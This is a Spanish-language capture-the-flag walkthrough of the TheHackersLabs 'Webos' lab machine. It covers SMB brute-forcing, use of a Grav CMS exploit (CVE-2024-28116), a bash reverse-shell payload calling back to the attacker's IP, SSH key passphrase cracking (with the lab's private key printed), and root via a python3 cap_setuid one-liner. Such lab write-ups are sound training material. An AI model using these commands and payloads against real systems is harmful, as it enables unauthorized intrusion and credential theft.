Webos – TheHackersLabs Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: TheHackersLabs

‘TheHackersLabs’ Avatar


Resumen Link to heading

“Webos” es una máquina de dificultad fácil de la plataforma TheHackersLabs. Luego de una inspección inicial, vemos que la máquina está corriendo Samba. Dado que esta máquina permite autenticación como usuario guest, somos capaces de encontrar credenciales por fuerza bruta para un usuario en este servicio. Dentro de este servicio, somos capaces de encontrar y decodificar un archivo el cual tiene credenciales para un panel de administración del gestor de contenido Grav CMS. Ya dentro, somos capaces de ejecutar código remoto utilizando la vulnerabilidad CVE-2024-28116 y ganar así acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar un archivo Python el cual tiene capabilities, lo que nos permite escalar privilegios al usuario root.


User / Usuario Link to heading

Empezamos enviando un ping a la máquina víctima:

❯ ping -c1 10.20.1.128

PING 10.20.1.128 (10.20.1.128) 56(84) bytes of data.
64 bytes from 10.20.1.128: icmp_seq=1 ttl=64 time=2.73 ms

--- 10.20.1.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.727/2.727/2.727/0.000 ms

Basados en su TTL, podemos suponer que estamos ante una máquina Linux.

Buscamos entonces por puertos TCP abiertos en esta máquina usando Nmap corriendo el comando:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.20.1.128

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 15:53 -04
Initiating ARP Ping Scan at 15:53
Scanning 10.20.1.128 [1 port]
Completed ARP Ping Scan at 15:53, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:53
Scanning 10.20.1.128 [65535 ports]
Discovered open port 22/tcp on 10.20.1.128
Discovered open port 139/tcp on 10.20.1.128
Discovered open port 445/tcp on 10.20.1.128
Discovered open port 80/tcp on 10.20.1.128
Completed SYN Stealth Scan at 15:53, 2.73s elapsed (65535 total ports)
Nmap scan report for 10.20.1.128
Host is up, received arp-response (0.00031s latency).
Scanned at 2024-09-05 15:53:50 -04 for 3s
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 64
80/tcp  open  http         syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64
MAC Address: 08:00:27:90:20:B8 (Oracle VirtualBox virtual NIC)

Del escaneo podemos ver 4 puertos abiertos: 22 SSH, 80 HTTP, 139 NetBios y 445 Server Message Block (SMB). Aplicando además algunos escaneos de reconocimiento y versiones con la flag -sVC ante estos puertos, tenemos:

❯ sudo nmap -sVC -p22,80,139,445 10.20.1.128

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 15:59 -04
Nmap scan report for 10.20.1.128
Host is up (0.00036s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 d1:ab:7b:af:5c:3b:5e:52:23:9a:97:57:a8:aa:a1:f5 (ECDSA)
|_  256 73:d9:ad:9e:c0:96:12:d8:ed:1b:ee:c0:15:ba:34:98 (ED25519)
80/tcp  open  http        Apache httpd 2.4.59 ((Debian))
|_http-generator: GravCMS
|_http-title: webos.thl | Grav
|_http-server-header: Apache/2.4.59 (Debian)
| http-robots.txt: 13 disallowed entries
| /.github/ /.phan/ /assets/ /backup/ /bin/ /cache/ /logs/
|_/system/ /tests/ /tmp/ /user/ /vendor/ /webserver-configs/
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: THE HACKERS LABS - WEBOS)
445/tcp open  netbios-ssn Samba smbd 4.17.12-Debian (workgroup: THE HACKERS LABS - WEBOS)
MAC Address: 08:00:27:90:20:B8 (Oracle VirtualBox virtual NIC)
Service Info: Host: THEHACKERSLABS-WEBOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-09-05T20:00:00
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: , NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.17.12-Debian)
|   Computer name: thehackerslabs-webos
|   NetBIOS computer name: THEHACKERSLABS-WEBOS\x00
|   Domain name:
|   FQDN: thehackerslabs-webos
|_  System time: 2024-09-05T22:00:00+02:00
|_clock-skew: mean: -40m01s, deviation: 1h09m16s, median: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.30 seconds

Como se esperaba, NetBios y Server Message Block|SMB son servicios para máquinas basadas en sistema operativo Windows, pero al estar corriendo en Linux ésta se encuentra usando el servicio Samba.

Si realizamos un escaneo con la herramienta WhatWeb contra el sitio web HTTP de la máquina víctima, obtenemos:

❯ whatweb -a 3 http://10.20.1.128

http://10.20.1.128 [200 OK] Apache[2.4.59], Cookies[grav-site-40d1b2d], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], HttpOnly[grav-site-40d1b2d], IP[10.20.1.128], JQuery, MetaGenerator[GravCMS], PasswordField[password], Script, Title[webos.thl | Grav], X-UA-Compatible[IE=edge]

De donde podemos ver que estamos ante un servicio corriendo Grav CMS. Buscando en Google what is grav (qué es grav?) encontramos su página web oficial, donde proveen una descripción para este software:

Información
Grav is a modern, Crazy Fast, Ridiculously Easy and Powerful Flat-File Content Management System.

Básicamente, Grav CMS es un Content Management System (CMS) como lo podría ser WordPress o Joomla.

Visitando el sitio web (http://10.20.1.128 en nuestro caso) muestra un panel de login:

Webos 1

Decidimos revisar algunos archivos que se muestran en /robots.txt, pero no hallamos nada interesante de momento. De manera que volveremos a este sitio web más tarde.

Basados en la documentación de Grav CMS, cuando creamos un usuario su data es almacenada en la ruta /user/accounts. Revisamos si este directorio existe a través de cURL en una terminal:

❯ curl -s http://10.20.1.128/user/accounts/ | html2text

****** Index of /user/accounts ******
`ICO`       Name             Last modified    Size Description
===========================================================================
`PARENTDIR` Parent Directory                     -  
`   `       admin.yaml       2024-07-06 14:18  362  
===========================================================================
     Apache/2.4.59 (Debian) Server at 10.20.1.128 Port 80

Encontramos un archivo en la ruta http://10.20.1.128/user/accounts/admin.yaml.

Si revisamos este archivo tenemos información:

state: enabled
email: admin@thehackerslabs.com
fullname: TheHackersLabs
title: Administrator
hashed_password: $2y$10$F0k5Ajn42KuhpoAN3Y7FXevY5W2MKHQpwpCKg7EzDxlayLD.iwVJC
language: es
content_editor: default
twofa_enabled: false
twofa_secret: NVNYOYB5IL3NPUKKRX4E6BPCTRWRQNFQ
avatar: {  }
access:
  site:
    login: true
  admin:
    login: true
    super: true

Donde podemos ver un hash. Tratamos de crackearlo, pero no tenemos éxito.

Ya en este punto decidimos ir por el servicio SMB. Basados en el output del escaneo de Nmap, podemos ver que nos podemos loguear como el usuario guest en este servicio. Si usamos la herramienta NetExec para ver, además, qué recursos compartidos podemos ver, obtenemos:

❯ netexec smb 10.20.1.128 -u guest -p '' --shares

SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [*] Windows 6.1 (name:THEHACKERSLABS-WEBOS) (domain:THEHACKERSLABS-WEBOS) (signing:False) (SMBv1:True)
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [+] THEHACKERSLABS-WEBOS\guest:
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [*] Enumerated shares
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS Share           Permissions     Remark
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS -----           -----------     ------
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS print$                          Printer Drivers
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS webos                           Archivo compartido en Samba
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS IPC$                            IPC Service (Samba 4.17.12-Debian)
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS nobody                          Home Directories

Donde podemos ver 2 recursos compartidos que no son por defecto: webos y nobody.

Podemos entonces usar NetExec para performar un ataque de Brute Force Password Login (Logueo con contraseña por Fuerza Bruta). Si uno de los recursos fuera un acceso al directorio /home, esto podría significar que existe un usuario webos y/o nobody (pero este último usuario viene por defecto en algunos servicios, de manera que me lo saltaré de momento):

❯ netexec smb 10.20.1.128 -u 'webos' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding

SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [*] Windows 6.1 (name:THEHACKERSLABS-WEBOS) (domain:THEHACKERSLABS-WEBOS) (signing:False) (SMBv1:True)
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [-] THEHACKERSLABS-WEBOS\webos:123456 STATUS_LOGON_FAILURE
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [-] THEHACKERSLABS-WEBOS\webos:12345 STATUS_LOGON_FAILURE
<SNIP>
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [-] THEHACKERSLABS-WEBOS\webos:father STATUS_LOGON_FAILURE
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [-] THEHACKERSLABS-WEBOS\webos:77777 STATUS_LOGON_FAILURE
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [+] THEHACKERSLABS-WEBOS\webos:geraldine

y obtenemos credenciales: webos:geraldine.

Revisando cuáles son los recursos que este usuario puede leer, tenemos 2:

❯ netexec smb 10.20.1.128 -u 'webos' -p 'geraldine' --shares --filter-shares READ WRITE

SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [*] Windows 6.1 (name:THEHACKERSLABS-WEBOS) (domain:THEHACKERSLABS-WEBOS) (signing:False) (SMBv1:True)
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [+] THEHACKERSLABS-WEBOS\webos:geraldine
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS [*] Enumerated shares
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS Share           Permissions     Remark
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS -----           -----------     ------
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS print$          READ            Printer Drivers
SMB         10.20.1.128     445    THEHACKERSLABS-WEBOS webos           READ            Archivo compartido en Samba

donde webos se ve interesante.

Observando qué es lo que hay dentro del recurso compartido webos con la herramienta smbmap muestra un archivo .txt:

❯ smbmap -H 10.20.1.128 -u 'webos' -p 'geraldine' -r 'webos' --no-banner

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.20.1.128:445 Name: 10.20.1.128               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  READ ONLY       Printer Drivers
        webos                                                   READ ONLY       Archivo compartido en Samba
        ./webos
        dr--r--r--                0 Wed Jul 17 14:47:07 2024    .
        dr--r--r--                0 Thu Jul 18 05:31:55 2024    ..
        fr--r--r--              245 Wed Jul 17 14:47:07 2024    MamaÑema.txt
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.17.12-Debian)

Podemos entonces usar smbmap nuevamente para descargar este archivo:

❯ smbmap -H 10.20.1.128 -u 'webos' -p 'geraldine' --download 'webos/MamaÑema.txt' --no-banner

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: webos\MamaÑema.txt (245 bytes)
[+] File output to: /home/gunzf0x/OtherMachines/TheHackersLabs/Webos/content/10.20.1.128-webos_MamaÑema.txt
[*] Closed 1 connections

Leyendo el contenido de este archivo, vemos que éste podría estar en lenguaje conocido como Brainfuck:

❯ cat 10.20.1.128-webos_MamaÑema.txt

++++++++++[>++++++++++>++++++++++>+++++++++++>+++++++++++>+++++++++++>++++++>++++++++>++++++++++>+++++++++++>+++++++++++>++++++++++>+++++++++++>+++++>++++++>++++<<<<<<<<<<<<<<<-]>---.>.>-.>-----.>.>--.>.>+.>++++.>-----.>-.>+.>++++.>---.>++.....

Podemos entonces ir a esta página web, pasar el contenido del archivo y decodificar el mensaje oculto:

Webos 2

Aparentemente estas son credenciales: admin:Perico69*****.

Recordamos entonces el archivo admin.yml el cual habíamos hallado anteriormente. ¿Será el hash que no habíamos podido crackear anteriormente el mismo que el hash de la password Perico69*****? Para revisar si esta es la password del usuario, de manera local, podemos crear un archivo el cual sólo contenga esta contraseña hallada y vemos si corresponde al hash hallado utilizando la herramienta JohnTheRipper:

❯ echo 'Perico69*****' > admin_found_credentials.txt

❯ john --wordlist=./admin_found_credentials.txt admin_hash

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 15 needed for performance.
Perico69*****    (?)
1g 0:00:00:00 DONE (2024-09-05 18:28) 10.00g/s 10.00p/s 10.00c/s 10.00C/s Perico69*****
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

y la crackea. Esto quiere decir, básicamente, que la contraseña Perico69***** corresponde a la contraseña hasheada que habíamos hallado en el archivo admin.yaml para Grav CMS.

Googleando dónde se encuentra el panel de administración para Grav CMS nos lleva a su documentación oficial. Allí, ellos dicen que deberíamos de visitar la ruta /admin. Por ende, visitando http://10.20.1.128/admin muestra, en efecto, un nuevo panel:

Webos 3

Si ponemos las credenciales admin:Perico69***** funcionan, y estamos dentro del panel:

Webos 4

En la parte más inferior del panel, puedo ver una versión: Grav v1.7.44:

![Webos 5][(/images/Webos_5.png)

Buscando por Grav CMS exploit para esta versión, nos lleva a una vulnerabilidad catalogada como CVE-2024-28116. Además, somos capaces de encontrar este repositorio de Github llamado Graver el cual provee un exploit. Basados en la documentación, podemos correr este exploit usando:

# python3 graver.py -t <target_url> -p <target_port>

pero este es un exploit que está categorizado como authenticated, es decir, debemos de estar autenticados para poder explotar el servicio. Analizando el código fuente del script graver.py (el exploit que viene en el repositorio), podemos ver que las líneas 37 y 38 nos piden un usuario y contraseña:

<SNIP>
##############################################
# Enter here your Grav CMS editor credentials
username = "youruser"
password = "yourpassword"
##############################################
<SNIP>

Allí, cambiamos estas líneas por nuestros valores username = 'admin' y password = 'Perico69*****' (las credenciales halladas).

Si corremos el exploit, aparentemente éste funciona:

❯ python3 grav_exploit.py -t http://10.20.1.128

RCE payload injected, now visit the malicious page at: 'http://10.20.1.128:80/hacked_P9AI?do='

Visitando el sitio web creado por el exploit muestra una simple página:

Webos 6

donde www-data me dice que se pudo ejecutar el exploit, pero no soy capaz de ejecutar código al visitar http://10.20.1.128:80/hacked_P9AI?do=id o algo similar.

Ya en este punto, decidimos buscar cómo explotar esta vulnerabilidad y encontramos este video donde utilizan exactamente el mismo exploit del repositorio que hemos estado usando y, además, enseñan cómo ejecutar código. En resumen, una vez la página ha sido creada, vamos al panel principal y luego a la pestaña Páginas (Pages) que se encuentra al lado izquierdo. Esto redirige a la ruta /admin/pages. Una vez allí, podemos ver las páginas del gestor de contenido; entre ellas la página web generada por el exploit:

Webos 8

Clickeando en el nombre de nuestra página creada nos lleva a /admin/pages/<nombre-página>. En nuestro caso, dado que el nombre de la página es hacked_P9AI, éste nos redirigirá a la ruta /admin/pages/hacked_p9ai. Ahora somos capaces de ver su contenido:

Webos 9

Aquí entonces decidimos cambiar la cadena/string whoami por ping -c1 10.20.1.110, donde 10.20.1.110 es la dirección IP de nuestra máquina de atacante.

Webos 10

y clickeamos en el botón de Guardar (Save) en la parte superior derecha. Básicamente, lo que haremos será tratar de enviarnos un ping a nuestra máquina de atacante para corroborar que podemos realizar Remote Code Execution (RCE).

Utilizamos entonces la herramienta tcpdump para ponernos en escucha por trazas ICMP en la interfaz de net eth0 (la interfaz de net por la cual tenemos conectividad a la máquina víctima):

❯ sudo tcpdump -ni eth0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Luego, si visitamos http://10.20.1.128/hacked_p9ai podemos ver que el comando ping ha sido ejecutado:

Webos 11

y revisando nuestro listener con tcpdump vemos que hemos recibido algo:

❯ sudo tcpdump -ni eth0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
19:33:22.826339 IP 10.20.1.128 > 10.20.1.110: ICMP echo request, id 55659, seq 1, length 64
19:33:22.826357 IP 10.20.1.110 > 10.20.1.128: ICMP echo reply, id 55659, seq 1, length 64

Recibimos un ping desde la dirección 10.20.1.128, la cual es la dirección IP de la máquina víctima. Confirmamos así que hemos logrado un Remote Code Execution|RCE.

Dado que esto funcionó, volvemos al directorio /admin/pages y volvemos a editar nuestro archivo malicioso. Pero esta vez decidimos agregar el payload: !Webos_12.png

bash -c "bash -i >& /dev/tcp/10.20.1.110/443 0>&1"

donde 10.20.1.110 es nuestra IP de atacante y 443 es el puerto en el cual nos pondremos en escucha con netcat para obtener una reverse shell.

Guardamos el contenido de la página de nuevo y en una terminal nos ponemos en escucha con netcat en el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Finalmente, visitamos la página que contiene nuestro payload (en nuestro caso http://10.20.1.128/hacked_p9ai) y obtenemos una reverse shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.128] 60254
bash: cannot set terminal process group (539): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TheHackersLabs-Webos:/var/www/html$ whoami

whoami
www-data

Luego de buscar por archivos interesantes, encontramos un archivo interesante en el directorio /opt:

www-data@TheHackersLabs-Webos:/var/www/html$ ls -la /opt

total 12
drwxr-xr-x  2 webos webos 4096 Jul  6 14:34 .
drwxr-xr-x 18 root  root  4096 Jul  6 14:31 ..
-rw-r--r--  1 webos webos 3434 Jul  6 13:56 id_rsa

donde podemos ver una key id_rsa cuyo propietario es el usuario webos.

Si leemos su contenido tenemos:

www-data@TheHackersLabs-Webos:/var/www/html$ cat /opt/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
ezFLIVT0OZPkK1bB3I2tLpXi0=
-----END OPENSSH PRIVATE KEY-----

Decidimos entonces guardar el contenido de esta key en nuestra máquina de atacante en un archivo llamado webos_id_rsa, al cual le damos permisos de ejecución y la usamos para conectarnos por SSH como el usuario webos:

❯ nvim webos_id_rsa

❯ chmod 600 webos_id_rsa

❯ ssh -i webos_id_rsa webos@10.20.1.128

The authenticity of host '10.20.1.128 (10.20.1.128)' can't be established.
ED25519 key fingerprint is SHA256:w8UgTBmuwG1smfcGc48qBPhvE6qd3suezLv4a6dEt2M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.20.1.128' (ED25519) to the list of known hosts.
Enter passphrase for key 'webos_id_rsa':

Pero el archivo nos pregunta por una passphrase.

Podemos entonces usar la herramienta ssh2john para extraer el hash de esta passphrase y guardarlo en un archivo que llamaremos webos_passphrase:

❯ ssh2john webos_id_rsa > webos_passphrase

Tratamos de crackear esta passphrase utilizando JohnTheRipper (john) a través de un Brute Force Password Cracking con el diccionario rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt webos_passphrase

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
freestyle        (webos_id_rsa)
1g 0:00:01:45 DONE (2024-09-05 19:55) 0.009493g/s 33.41p/s 33.41c/s 33.41C/s beaver..dracula
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos una passphrase para la key: freestyle.

Podemos entonces tratar de loguearnos por SSH en la máquina víctima, proveyendo la key encontrada con su respectiva passphrase:

❯ ssh -i webos_id_rsa webos@10.20.1.128

Enter passphrase for key 'webos_id_rsa': freestyle
Linux TheHackersLabs-Webos 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 18 11:45:53 2024 from 192.168.18.19
webos@TheHackersLabs-Webos:~$

Y estamos dentro como el usuario webos.

Podemos leer el contenido de la flag user.txt en el directorio /home de este usuario.


Root Link to heading

Ya dentro de la máquina víctima, revisamos archivos en el directorio /home/webos. Hay un archivo que no es para nada usual y cuyo propietario es root, el cual es un ejecutable para Python|python3:

webos@TheHackersLabs-Webos:~$ ls -la

total 6716
drwxr-xr-x 5 webos webos    4096 jul 18 11:31 .
drwxr-xr-x 4 root  root     4096 jul  6 13:45 ..
lrwxrwxrwx 1 root  root        9 jul 18 11:31 .bash_history -> /dev/null
-rw-r--r-- 1 webos webos     220 abr 23  2023 .bash_logout
-rw-r--r-- 1 webos webos    3526 abr 23  2023 .bashrc
drwxr-xr-x 3 webos webos    4096 jul  6 14:36 .local
-rw-r--r-- 1 webos webos     807 abr 23  2023 .profile
-rwxr-xr-x 1 root  root  6839928 jul  6 14:10 python3
drwx------ 2 webos webos    4096 jul  6 13:55 .ssh
-r-------- 1 webos webos      36 jul 18 11:02 user.txt
drwxr-xr-x 2 webos webos    4096 jul 17 20:47 webito

Revisamos qué tipo de archivo es con el comando file. No obstante, el sistema no reconoce el binario ni comando file en el sistema, lo cual es raro y no es muy usual…

webos@TheHackersLabs-Webos:~$ file /home/webos/python3

-bash: file: orden no encontrada

Si queremos chequear capabilities, usualmente usamos el comando getcap (que usualmente viene en casi todos los sistemas Linux por defecto). Sin embargo, este tampoco se encuentra en el sistema:

webos@TheHackersLabs-Webos:~$ getcap /home/webos/python3

-bash: getcap: orden no encontrada

Como esto es extraño, podemos utilizar find para buscar si realmente getcap no existe en el sistema:

webos@TheHackersLabs-Webos:~$ find / -name getcap -type f 2>/dev/null

/usr/sbin/getcap

Resulta que sí existe y éste se encuentra en el directorio /usr/bin.

¿Por qué el sistema no lo reconoce entonces? Si revisamos nuestra variable de entorno PATH (ejecutando echo $PATH), podemos ver que la ruta /usr/sbin no está contenida. Por tanto, el sistema no será capaz de encontrar el binario de getcap.

Usando la ruta absoluta para el binario de getcap encontrada para buscar archivos con Capabilities|capabilities en el sistema, muestra que, en efecto, el archivo Python|python3 que estaba en /home/webos tiene Capabilities|capabilities:

webos@TheHackersLabs-Webos:~$ /usr/sbin/getcap -r / 2>/dev/null

/usr/bin/ping cap_net_raw=ep
/home/webos/python3 cap_setuid=ep

Tenemos la opción cap_setuid habilitada (que es lo que indica ep), lo que significa que podemos abusar de este archivo para escalar privilegios.

Finalmente, podemos ir a la página web de GTFOBins, buscar por Python capabilities y explotar este recurso para convertirnos en el usuario root:

webos@TheHackersLabs-Webos:~$ /home/webos/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# whoami

root

Podemos entonces leer la flag root.txt en el directorio /root.

~Happy Hacking

